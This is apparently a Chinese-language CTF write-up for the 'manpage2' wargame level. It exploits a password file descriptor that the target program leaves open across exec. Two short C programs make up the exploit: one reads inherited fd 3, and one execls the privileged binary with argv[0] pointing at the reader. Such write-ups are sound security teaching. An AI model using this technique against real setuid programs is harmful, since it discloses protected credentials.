问题出在,密码文件打开之后没有关闭,而fd是可以从exec继承的。于是我们先写一个读文件内容的程序 #include <unistd.h> int main () { char buf[64]; lseek(3, 0, SEEK_SET); ssize_t num; while((num=read(3,buf,sizeof buf)) > 0) write(STDOUT_FILENO, buf, num); return 0; } 这里fd是3因为打开的密码文件的fd应该是接着0,1,2 然后执行manpage2的程序,让argv[0]为我们的读密码程序 #include <unistd.h> int main (int argc, char *args[]) { execl("/manpage/manpage2", "./getPass", NULL); } Previous manpage1 Next manpage3 FEATURED TAGS HTTP wechall PHP linux sql exploit crypto OverTheWire reverse how-to binary pwnable.kr ksnctf misc android webhacking.kr fuzzing